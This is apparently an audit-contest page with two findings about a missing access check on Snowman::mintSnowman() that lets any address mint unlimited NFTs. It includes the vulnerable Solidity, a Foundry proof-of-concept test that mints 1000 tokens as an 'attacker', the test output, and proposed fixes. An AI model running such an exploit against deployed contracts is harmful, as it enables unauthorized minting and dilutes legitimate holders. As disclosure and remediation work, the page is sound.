Snowman NFTs should only be mintable through SnowmanAirdrop::claimSnowman() after a user has passed the Merkle Proof Verification.
mintSnowman()has no access control whatsoever, no onlyOwner check and no restriction tying the caller to the SnowmanAirdropcontract. Any address, a receiver, can call it directly and mint any number, amount, of NFTs for free without being eligible.
Likelihood: High
Any address can call mintSnowman() directly, at any point after deployment, with no preconditions and no dependency on holding Snow tokens or being part of the Merkle tree. This exploit requires nothing beyond a single transaction.
The exploit does not require the user to go through the protocol's intended flow. It requires no capital and no interaction with Snowor SnowmanAirdrop at all so an attacker can succeed on their very first transaction with a new wallet.
Impact:
There is a complete unbounded bypass of the intended stake to claim flow. Any address can mint an arbitrary number of Snowman NFTs for free, with no cost beyond the gas needed for the transaction. This completely undermines the protocol's staking/allocation mechanism
Since amount and receiver are both fully controlled by the attcker with no cap, this permanently corrupts the integrity of the NFT supply since legitimate holder's allocations become diluted by unlimited illegitimate mints.
This test demonstrates that attacker an address with no prior interaction with the protocol or snow balance can call mintSnowman directly and mint an arbitrary number of nfts.
Running forge test --mt testUnauthorizedMintBypassesStakeToClaimFlow confirms this passes, proving the vulnerability can be exploited with a single unauthenticated call
This finding was additionally confirmed via stateful invariant fuzzing.
The invariant InvariantMintAccessControl::invariant_supplyOnlyGrowsViaLegitimateClaims asserts that Snowman's on-chain token supply should never exceed the number of successful, legitimate claims tracked through SnowmanAirdrop::claimSnowman().
legitimateMintCount is tracked by a companion handler contract and incremented only when a claim succeeds through the legitimate SnowmanAirdrop::claimSnowman() path and never by direct calls to mintSnowman().
The invariant therefore fails the moment Snowmans real onchain supply exceeds the number of legitimate claims
Since Snowman is deployed before SnowmanAirdrop in the current deployment script (Helper.s.sol), SnowmanAirdrop's address cannot be known at Snowman's construction time, ruling out a simple immutable field set directly in the constructor.
This mitigation instead adds a one-time, owner-only setter, setAirdropContract(), to be called immediately after SnowmanAirdrop is deployed. The s_airdropContractSet flag ensures this setter can only ever be called once, preventing the owner (or an attacker who somehow compromises the owner key) from later redirecting mintSnowman()'s trusted caller to a different, malicious address.
Once set, mintSnowman() is restricted via the onlyAirdrop modifier to calls originating only from that address, reusing the SM__NotAllowed() error that was already declared in the contract but previously unused — closing the exact gap identified in this finding while preserving the fully permissionless nature of legitimate claims through SnowmanAirdrop::claimSnowman().
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.